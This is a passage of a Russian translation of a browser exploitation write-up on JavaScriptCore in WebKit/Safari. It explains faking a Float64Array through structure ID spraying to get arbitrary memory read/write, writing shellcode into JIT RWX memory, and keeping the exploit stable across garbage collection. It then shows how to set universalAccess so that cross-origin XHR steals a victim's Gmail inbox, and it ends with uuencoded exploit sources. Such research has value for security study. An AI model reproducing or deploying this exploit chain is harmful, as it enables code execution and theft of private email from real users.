Эта техника также упрощает спекулятивные JIT-компиляторы. Предположим, следующая функция:
Код:
function foo(a) {
return a.bar + 3;
}
Предположим далее, что мы выполнили вышеупомянутую функцию пару раз внутри интерпретатора и теперь решили скомпилировать ее в собственный код для повышения производительности. К примеру мы имеем дело с поиском недвижимости? Мы могли бы просто выполнить поиск, но это было бы довольно долго. Предполагая, что мы также отследили объекты, которые были переданы foo в качестве аргументов, и выяснили, что все они используют одну и ту же структуру. Теперь мы можем сгенерировать (псевдо) ассемблерный код, как показано ниже. Здесь r0 изначально указывает на объект аргумента:
Код:
mov r1, [r0 + #structure_id_offset];
cmp r1, #structure_id;
jne bailout_to_interpreter;
mov r2, [r0 + #inline_property_offset];
Это всего на несколько инструкций медленнее, чем доступ к свойству на родном языке, таком как C. Обратите внимание, что идентификатор структуры и смещение свойства кэшируются внутри самого кода, поэтому имя для такого рода конструкций кода: встроенные кэши.
Помимо отображений свойства структуры также хранят ссылку на экземпляр ClassInfo. Этот экземпляр содержит имя класса («Float64Array», «HTMLParagraphElement», ...), которое также доступно из скрипта с помощью следующего небольшого взлома:
Код:
Object.prototype.toString.call(object);
// Might print "[object HTMLParagraphElement]"
Однако более важным свойством ClassInfo является его ссылка на MethodTable. MethodTable содержит набор указателей на функции, аналогичный vtable в C ++. Большинство операций, связанных с объектами [20], а также некоторые задачи, связанные со сборкой мусора (например, посещение всех ссылочных объектов), реализуются с помощью методов из таблицы методов. Чтобы дать представление о том, как используется таблица методов, показант в следующем фрагмент кода из JSArray.cpp. Эта функция является частью MethodTable экземпляра ClassInfo для массивов JavaScript и будет вызываться всякий раз, когда свойство такого экземпляра удаляется [21] скриптом
Код:
bool JSArray::deleteProperty(JSCell* cell, ExecState* exec,
PropertyName propertyName)
{
JSArray* thisObject = jsCast<JSArray*>(cell);
if (propertyName == exec->propertyNames().length)
return false;
return JSObject::deleteProperty(thisObject, exec, propertyName);
}
Как мы видим, deleteProperty имеет уязвимость для свойства .length массива (который он не будет удалять), но в противном случае перенаправляет запрос в родительскую реализацию.
Следующая диаграмма суммирует (и немного упрощает) отношения между различными классами C ++, которые вместе создают объектную систему JSC.
Код:
+------------------------------------------+
| Butterfly |
| baz | bar | foo | length: 2 | 42 | 13.37 |
+------------------------------------------+
^
+---------+
+----------+ |
| | |
+--+ JSCell | | +-----------------+
| | | | | |
| +----------+ | | MethodTable |
| /\ | | |
References | || inherits | | Put |
by ID in | +----++----+ | | Get |
structure | | +-----+ | Delete |
table | | JSObject | | VisitChildren |
| | |<----- | ... |
| +----------+ | | |
| /\ | +-----------------+
| || inherits | ^
| +----++----+ | |
| | | | associated |
| | JSArray | | prototype |
| | | | object |
| +----------+ | |
| | |
v | +-------+--------+
+-------------------+ | | ClassInfo |
| Structure +---+ +-->| |
| | | | Name: "Array" |
| property: slot | | | |
| foo : 0 +----------+ +----------------+
| bar : 1 |
| baz : 2 |
| |
+-------------------+
- [6 - Эксплуатация
Теперь, когда мы немного больше узнали о внутренностях класса JSObject, давайте вернемся к созданию нашего собственного экземпляра Float64Array, который предоставит нам произвольный примитив для чтения / записи в память. Ясно, что наиболее важной частью будет идентификатор структуры в заголовке JSCell, поскольку связанный экземпляр структуры - это то, что делает наш фрагмент памяти «похожим» на массив Float64Array для движка. Таким образом, нам нужно знать идентификатор структуры Float64Array в структурной таблице.
---- [6.1 - Прогнозирование идентификаторов структуры
К сожалению, идентификаторы структуры не обязательно являются статическими для разных прогонов, так как они распределяются во время выполнения при необходимости. Кроме того, идентификаторы структур, созданных во время запуска движка, зависят от версии. Таким образом, мы не знаем идентификатор структуры экземпляра Float64Array, и нам нужно как-то его определить.
Другое небольшое осложнение возникает, поскольку мы не можем использовать произвольные идентификаторы структуры. Это связано с тем, что есть также структуры, выделенные для других ячеек сборки мусора, которые не являются объектами JavaScript (строки, символы, объекты регулярных выражений, даже сами структуры). Вызов любого метода, на который ссылается их таблица методов, приведет к сбою из-за ошибочного утверждения. Эти структуры выделяются только при запуске движка, в результате чего все они имеют довольно низкие идентификаторы.
Чтобы преодолеть эту проблему, мы воспользуемся простым подходом раздробим: мы раздробим несколько тысяч структур, которые все описывают экземпляры Float64Array, затем выберем высокий начальный идентификатор и посмотрим, правильно ли мы его выбрали.
Код:
for (var i = 0; i < 0x1000; i++) {
var a = new Float64Array(1);
// Add a new property to create a new Structure instance.
a[randomString()] = 1337;
}
Мы можем узнать, правильно ли мы угадали, используя «instanceof». Если мы этого не сделали, мы просто используем следующую структуру.
Код:
while (!(fakearray instanceof Float64Array)) {
// Increment structure ID by one here
}
Instanceof является довольно безопасной операцией, поскольку она будет только извлекать структуру, извлекать прототип из нее и выполнять сравнение указателей с данным объектом-прототипом.
---- [6.2 - Объединение вещей: подделка массива Float64Array
Float64Arrays реализуются собственным классом JSArrayBufferView. В дополнение к стандартным полям JSObject этот класс также содержит указатель на вспомогательную память (мы будем называть его «вектором», аналогичным исходному коду), а также поле длины и режима (оба 32-битные целые числа).
Поскольку мы размещаем наш Float64Array внутри встроенных слотов другого объекта (с этого момента именуемого «контейнером»), нам придется иметь дело с некоторыми ограничениями, возникающими из-за кодировки JSValue. Конкретно мы
* не можем установить указатель "бабочки" nullptr, так как null не является допустимым значением JSValue. На данный момент это нормально, так как "бабочка" не будет доступна для простых операций доступа к элементам.
* не можем установить допустимое поле режима, так как оно должно быть больше 0x00010000 из-за NaN-бокса. Мы можем свободно контролировать поле длины.
* можем установить только вектор, чтобы указывать на другой JSObject, так как это единственные указатели, которые может содержать JSValue
Из-за последнего ограничения мы установим вектор Float64Array так, чтобы он указывал на экземпляр Uint8Array:
Код:
+----------------+ +----------------+
| Float64Array | +------------->| Uint8Array |
| | | | |
| JSCell | | | JSCell |
| butterfly | | | butterfly |
| vector ------+---+ | vector |
| length | | length |
| mode | | mode |
+----------------+ +----------------+
Теперь мы можем установить указатель данных второго массива на произвольный адрес, предоставляя нам произвольную память для чтения / записи.
Ниже приведен код для создания поддельного экземпляра Float64Array с использованием наших предыдущих примитивных эксплойтов. Прикрепленный код эксплойта затем создает глобальный объект «память», который предоставляет удобные методы для чтения и записи в произвольные области памяти.
Код:
sprayFloat64ArrayStructures();
// Create the array that will be used to
// read and write arbitrary memory addresses.
var hax = new Uint8Array(0x1000);
var jsCellHeader = new Int64([
00, 0x10, 00, 00, // m_structureID, current guess
0x0, // m_indexingType
0x27, // m_type, Float64Array
0x18, // m_flags, OverridesGetOwnPropertySlot |
// InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
0x1 // m_cellState, NewWhite
]);
var container = {
jsCellHeader: jsCellHeader.encodeAsJSVal(),
butterfly: false, // Some arbitrary value
vector: hax,
lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
};
// Create the fake Float64Array.
var address = Add(addrof(container), 16);
var fakearray = fakeobj(address);
// Find the correct structure ID.
while (!(fakearray instanceof Float64Array)) {
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
container.jsCellHeader = jsCellHeader.encodeAsJSVal();
}
// All done, fakearray now points onto the hax array
Чтобы «визуализировать» результат, вот некоторый вывод lldb. Контейнерный объект находится по адресу 0x11321e1a0:
Код:
(lldb) x/6gx 0x11321e1a0
0x11321e1a0: 0x0100150000001138 0x0000000000000000
0x11321e1b0: 0x0118270000001000 0x0000000000000006
0x11321e1c0: 0x0000000113217360 0x0001000000000010
(lldb) p *(JSC::JSArrayBufferView*)(0x11321e1a0 + 0x10)
(JSC::JSArrayBufferView) $0 = {
JSC::JSNonFinalObject = {
JSC::JSObject = {
JSC::JSCell = {
m_structureID = 4096
m_indexingType = '\0'
m_type = Float64ArrayType
m_flags = '\x18'
m_cellState = NewWhite
}
m_butterfly = {
JSC::CopyBarrierBase = (m_value = 0x0000000000000006)
}
}
}
m_vector = {
JSC::CopyBarrierBase = (m_value = 0x0000000113217360)
}
m_length = 16
m_mode = 65536
}
Обратите внимание, что m_butterfly, так же как и m_mode, недопустимы, поскольку мы не можем записать там ноль. На данный момент это не вызывает проблем, но будет проблематичным, если произойдет запуск сборки мусора. Мы разберемся с этим позже.
---- [6.3 - Выполнение шеллкода
Одна приятная особенность движков JavaScript в том, что все они используют JIT-компиляцию. Это требует записи инструкций на страницу в памяти и последующего их выполнения. По этой причине большинство механизмов, включая JSC, выделяют области памяти как для записи, так и для выполнения. Это хорошая цель. Мы будем использовать наш примитив чтения / записи памяти, чтобы пропустить указатель в JIT-скомпилированный код для функции JavaScript, затем запишем туда наш шелл-код и вызовем функцию, что приведет к выполнению нашего собственного кода.
Прикрепленный PoC-эксплойт реализует это. Ниже приведена соответствующая часть функции runShellcode.
Код:
// This simply creates a function and calls it multiple times to
// trigger JIT compilation.
var func = makeJITCompiledFunction();
var funcAddr = addrof(func);
print("[+] Shellcode function object @ " + funcAddr);
var executableAddr = memory.readInt64(Add(funcAddr, 24));
print("[+] Executable instance @ " + executableAddr);
var jitCodeAddr = memory.readInt64(Add(executableAddr, 16));
print("[+] JITCode instance @ " + jitCodeAddr);
var codeAddr = memory.readInt64(Add(jitCodeAddr, 32));
print("[+] RWX memory @ " + codeAddr.toString());
print("[+] Writing shellcode...");
memory.write(codeAddr, shellcode);
print("[!] Jumping into shellcode...");
func();
Как видно, код PoC выполняет утечку указателя, считывая пару указателей из фиксированных смещений в набор объектов, начиная с объекта функции JavaScript. Это не очень хорошо (так как смещения могут меняться между версиями), но достаточно для демонстрационных целей. В качестве первого улучшения следует попытаться обнаружить действительные указатели, используя некоторую простую эвристику (старшие биты - все ноль, «близко» к другим известным областям памяти, ...). Затем возможно обнаружить некоторые объекты на основе уникальных паттернов памяти. Например, все классы, наследуемые от JSCell (например, ExecutableBase), будут начинаться с распознаваемого заголовка. Кроме того, сам JIT-скомпилированный код, вероятно, будет начинаться с известного пролога функции.
Обратите внимание, что начиная с iOS 10, JSC больше не выделяет одну область RWX, а использует два виртуальных отображения для одной и той же области физической памяти, одно из которых является исполняемым, а другое - записываемым. Затем во время выполнения генерируется специальная версия memcpy, которая содержит (случайный) адрес записываемой области в качестве непосредственного значения и сопоставляется с --X, предотвращая чтение адреса злоумышленником. Чтобы обойти это, теперь потребуется короткая цепочка ROP, чтобы вызвать этот memcpy, прежде чем переходить к отображению исполняемого файла.
---- [6.4 - Сохранить прогресс после сбора мусора
Если мы хотим сохранить наш первоначальный эксплойт (позже мы увидим, почему мы можем этого захотеть), мы в настоящее время столкнемся с немедленным крахом, как только включится сборщик мусора. Это происходит, главным образом, потому, что бабочка нашего фальсифицированного Float64Array является недопустимым указателем, но не нулевым, и поэтому будет доступена во время GC.
Код:
Butterfly* butterfly = thisObject->m_butterfly.get();
if (butterfly)
thisObject->visitButterfly(visitor, butterfly,
thisObject->structure(visitor.vm()));
Мы могли бы установить для указателя-бабочки нашего поддельного массива значение nullptr, но это привело бы к другому сбою, поскольку это значение также является свойством нашего контейнерного объекта и будет рассматриваться как указатель JSObject. Таким образом, мы будем делать следующее:
1. Создайте пустой объект. Структура этого объекта будет описывать объект с объемом встроенного хранилища по умолчанию (6 слотов), но ни один из них не используется.
2. Скопируйте заголовок JSCell (содержащий идентификатор структуры) в объект контейнера. Теперь мы заставили движок «забыть» о свойствах объекта-контейнера, составляющего наш поддельный массив.
3. Установите для указателя-бабочки поддельного массива значение nullptr и, пока мы на нем, также заменим JSCell этого объекта на один из экземпляра Float64Array по умолчанию.
Последний шаг обязателен, так как мы могли бы получить структуру Float64Array с некоторым свойством из-за того, что наша структура распылялась раньше.
Эти три шага дают нам устойчивый эксплойт.
В заключение отметим, что при перезаписи кода скомпилированной функции JIT необходимо позаботиться о возвращении действительного значения JSValue (если требуется продолжение пооцесса). Несоблюдение этого требования может привести к сбою во время следующего GC, поскольку возвращаемое значение будет храниться движком и проверяться компилятором.
---- [6.5 - Резюме
На данный момент пришло время для краткого обзора всего эксплойта:
1. Раздробить на Float64Array структуры
2. Выделить объект контейнера со встроенными свойствами, которые вместе создают экземпляр Float64Array в его слотах встроенных свойств. Использовать высокий начальный идентификатор структуры, который, вероятно, будет правильным из-за предыдущего распыления. Установить указатель данных массива так, чтобы он указывал на экземпляр Uint8Array.
3. Украсть адреса объектов контейнера и создать поддельный объект, указывающий на массив Float64Array внутри объекта контейнера.
4. Проверить правильность предположения идентификатора структуры, используя instanceof. Если нет, увеличьте идентификатор структуры, присвоив новое значение соответствующему свойству объекта-контейнера. Повторяйте, пока у нас не будет Float64Array.
5. Прочитать и записать в произвольные адреса памяти путем записи указателя данных Uint8Array.
6. С помощью этого исправить контейнер и экземпляр Float64Array, чтобы избежать сбоев во время сборки мусора.
- [7 - Злоупотребление процессом рендеринга
Обычно отсюда следующим логическим шагом было бы запускать какой-либо эксплойт из песочницы для дальнейшего компрометации целевой машины.
Так как обсуждение этих вопросов выходит за рамки данной статьи, и из-за хорошего освещения их в других местах, давайте вместо этого исследуем нашу текущую ситуацию.
---- [7.1 - Процесс WebKit и модель привилегий
Начиная с WebKit 2 [22] (около 2011 г.), WebKit имеет многопроцессную модель, в которой для каждой вкладки создается новый процесс рендеринга. Помимо соображений стабильности и производительности, это также обеспечивает основу для инфраструктуры песочницы, чтобы ограничить ущерб, который скомпрометированный процесс визуализации может нанести системе.
---- [7.2 - Политика одинакового происхождения
Политика одного и того же происхождения (SOP) обеспечивает основу для (клиентской) веб-безопасности. Он предотвращает вмешательство контента, происходящего из источника A, в контент, происходящий из другого источника B. Это включает в себя доступ на уровне сценария (например, доступ к объектам DOM внутри другого окна), а также доступ на уровне сети (например, XMLHttpRequests). Интересно, что в WebKit SOP применяется внутри процессов рендеринга, что означает, что мы можем обойти его на этом этапе. То же самое в настоящее время верно для всех основных веб-браузеров, но Chrome собирается изменить это в своем проекте изоляции сайтов [23].
Этот факт не является чем-то новым и даже использовался в прошлом, но его стоит обсудить. По сути, это означает, что процесс визуализации имеет полный доступ ко всем сеансам браузера и может отправлять аутентифицированные запросы между источниками и читать ответ. Злоумышленник, который скомпрометировал процесс визуализации, таким образом получает доступ ко всем сеансам браузера жертвы.
В демонстрационных целях мы теперь изменим наш эксплойт для отображения почтового ящика пользователей gmail.
---- [7.3 - Кража писем
В классе SecurityOrigin в WebKit есть интересное поле: m_universalAccess. Если установлено, это приведет к тому, что все перекрестные проверки будут выполняться. Мы можем получить ссылку на активный в данный момент экземпляр SecurityDomain, следуя набору указателей (смещения которых снова зависят от текущей версии Safari). Затем мы можем включить universalAccess для нашего процесса рендеринга и впоследствии выполнить аутентифицированные перекрестные запросы XMLHttpRequests. Чтение писем из Gmail становится таким же простым, как
Код:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://mail.google.com/mail/u/0/#inbox', false);
xhr.send(); // xhr.responseText now contains the full response
Включена версия эксплойта, которая делает это и отображает текущую папку «Входящие» в Gmail. По причинам, которые должны быть понятны к настоящему времени, для этого требуется действительный сеанс Gmail в Safari
--[ 8 - Ссылки
[1] http://www.zerodayinitiative.com/advisories/ZDI-16-485/
[2] https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/
[3] http://trac.webkit.org/wiki/JavaScriptCore
[4] http://www.ecma-international.org/ecma-262/6.0/#sec-ecmascript-data-types-and-values
[5] http://www.ecma-international.org/ecma-262/6.0/#sec-objects
[6] https://en.wikipedia.org/wiki/Double-precision_floating-point_format
[7] http://www.ecma-international.org/ecma-262/6.0/#sec-array-exotic-objects
[8] http://www.ecma-international.org/ecma-262/6.0/#sec-ecmascript-standard-built-in-objects
[9] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice).
[10] https://github.com/WebKit/webkit/bl...avaScriptCore/runtime/ArrayPrototype.cpp#L848
[11] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/species
[12] http://www.ecma-international.org/ecma-262/6.0/#sec-type-conversion
[13] https://bugzilla.mozilla.org/show_bug.cgi?id=735104
[14] https://bugzilla.mozilla.org/show_bug.cgi?id=983344
[15] https://bugs.chromium.org/p/chromium/issues/detail?id=554946
[16] https://www.gnu.org/software/guile/manual/html_node/Conservative-GC.html
[17] http://www.ecma-international.org/ecma-262/6.0/#sec-ecmascript-language-types-number-type
[18] http://www.ecma-international.org/ecma-262/6.0/#sec-typedarray-objects
[19] https://developers.google.com/v8/design#fast-property-access
[20] http://www.ecma-international.org/ecma-262/6.0/#sec-operations-on-objects
[21] http://www.ecma-international.org/e...-internal-methods-and-internal-slots-delete-p
[22] https://trac.webkit.org/wiki/WebKit2
[23] https://www.chromium.org/developers/design-documents/site-isolation
--[ 9 - Исходники
Код:
begin 644 src.zip
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
M5NN7,]'.:VV5+G]=;4:A"QT,42Q(]1""G0T!-^T`AP0T#A:\R_Q=0TQ90
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
